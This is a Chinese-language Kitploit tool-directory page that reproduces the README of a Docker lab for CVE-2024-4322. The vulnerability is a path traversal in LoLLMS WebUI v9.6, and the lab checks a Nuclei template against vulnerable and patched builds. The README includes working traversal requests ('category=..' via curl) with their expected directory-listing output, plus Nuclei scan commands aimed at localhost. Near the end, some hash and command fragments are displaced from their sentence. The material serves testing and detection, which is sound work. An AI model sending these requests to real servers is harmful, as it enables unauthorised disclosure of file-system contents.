Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
POC_CVE-2024-4322 — POC_CVE-2024-4322 | Kitploit
工具/GitHubGitHub/mj-bin/poc_cve-2024-4322
漏洞分析漏洞利用Web安全CTF学习与教育实验室与实践
GitHubmj-bin/poc_cve-2024-4322

POC_CVE-2024-4322

POC_CVE-2024-4322

查看仓库
14个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-4322:LoLLMS WebUI PoC 与 Nuclei 验证实验室

本仓库提供 Docker 化的本地实验室,用于复现 CVE-2024-4322(LoLLMS WebUI v9.6 中的一个路径遍历漏洞),并验证相关的 Nuclei 模板不会匹配 LoLLMS WebUI v9.8。

请仅对本地、自有或明确授权的目标使用此实验室。

漏洞摘要

LoLLMS WebUI v9.6 中的 /list_personalities 端点存在路径遍历漏洞。用户可控的 category 参数未经净化处理即被追加到 personalities_zoo_path:

root@kitploit:~
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'

通过发送 category=..,请求可以逃逸预期的 personalities 目录并列出父目录的内容。

预期的漏洞信号:

root@kitploit:~
category=   -> []
category=.. -> response contains "personalities_zoo"

已修复的 v9.8 行为会在目录列表之前拒绝遍历输入。

实验室矩阵

从包含本 README 的目录运行所有命令。

Linux 易受攻击实验室

1. 启动服务器

root@kitploit:~
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server

等待出现:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

按 Ctrl-C 停止跟踪日志。容器会继续运行。

2. 验证 HTTP 行为

root@kitploit:~
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .

预期结果:

root@kitploit:~
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]

顺序可能有所不同。重要的信号是遍历响应与控制响应不同,并且包含 personalities_zoo。

3. 使用 Nuclei 验证

root@kitploit:~
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug

预期结果:

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

Linux 易受攻击的 Nuclei 验证

Linux 已修复实验室

1. 启动服务器

root@kitploit:~
docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server

等待出现:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. 验证 HTTP 行为

root@kitploit:~
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'

预期结果:

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. 使用 Nuclei 验证

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml

预期结果:

root@kitploit:~
[INF] Scan completed ... 0 matches found.

Linux 已修复的 Nuclei 验证

Windows 易受攻击实验室

这需要 Docker Desktop 处于 Windows 容器 模式。请在 PowerShell 中从本目录运行以下命令。

1. 启动服务器

root@kitploit:~
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server

等待出现:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. 验证 HTTP 行为

root@kitploit:~
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."

预期结果:

root@kitploit:~
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]

顺序可能有所不同。重要的信号是遍历响应与控制响应不同,并且包含 personalities_zoo。

3. 使用 Nuclei 验证

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug

预期结果:

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Windows 易受攻击的 Nuclei 验证

Windows 已修复实验室

这需要 Docker Desktop 处于 Windows 容器 模式。请在 PowerShell 中从本目录运行以下命令。

1. 启动服务器

root@kitploit:~
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server

等待出现:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. 验证 HTTP 行为

root@kitploit:~
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."

预期结果:

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. 使用 Nuclei 验证

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml

预期结果:

root@kitploit:~
[INF] Scan completed ... 0 matches found.

Windows 已修复的 Nuclei 验证

清理

Linux 容器:

root@kitploit:~
docker compose --profile patched down --rmi local

Windows 容器:

root@kitploit:~
docker compose --profile windows down

环境要求

  • Docker 和 Docker Compose。
  • Windows 实验室需要处于 Windows 容器模式的 Docker Desktop。
  • curl。
  • Linux 易受攻击的 HTTP 示例需要 jq。
  • 模板验证需要 Nuclei。

如果 Linux 主机上没有 jq,请使用 analyst 容器:

root@kitploit:~
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .

如果 Windows 上未安装 Nuclei,请从 https://github.com/projectdiscovery/nuclei/releases 下载 Windows 发布版二进制文件,解压后直接从解压目录运行 nuclei.exe。

实验室搭建说明

Dockerfile 在构建过程中修补历史安装程序,以便实验室今天仍可复现:

  • 易受攻击的实验室克隆 lollms-webui 的 v9.6 标签。

  • 已修复的实验室克隆 lollms-webui 的 v9.8 标签。

  • lollms_core 子模块的 URL 被重写为 https://github.com/ParisNeo/lollms_legacy.git,因为旧的源码历史已迁移到那里。

  • 版本固定通过上游 Git 元数据校验:v9.6 为 e2f2d313cd6ea3fe81dfc4496f985f5b650853b9,v9.8 为 8a8e3a1c386321f641a014bf8f7029512ccad411。

    root@kitploit:~
    git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
    
  • 对应的 lollms_core 子模块提交为:v9.6 对应 cfb18f6f1091addf440347322441ab28005a2d3b,v9.8 对应 ,可通过在每个标签检出上运行 校验。

补丁原理

被破坏的不变式是:

root@kitploit:~
resolved path must stay inside the personalities directory

LoLLMS WebUI v9.8 及更高版本通过在 category 路径到达文件系统目录列表逻辑之前对其进行净化或约束来解决此问题。对于实际部署,请将 LoLLMS WebUI 升级到 9.8 或更高版本。

下载工具
环境版本服务主机 URL预期模板结果
Linux 易受攻击v9.6linux-vuln-serverhttp://127.0.0.1:9600匹配
Linux 已修复v9.8linux-patched-serverhttp://127.0.0.1:9602不匹配
Windows 易受攻击v9.6windows-vuln-serverhttp://127.0.0.1:9601匹配
Windows 已修复v9.8windows-patched-serverhttp://127.0.0.1:9603不匹配
6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49
git ls-tree HEAD lollms_core
  • 禁用 auto_update 和 auto_sync_* 选项以保持每个实验室固定在指定版本。

  • 注入无头配置文件,使服务器无需提示即可启动。

  • 尽可能跳过端点验证不需要的重型依赖。

  • Windows 安装程序经过修补,以创建其临时目录并避免过时的递归子模块。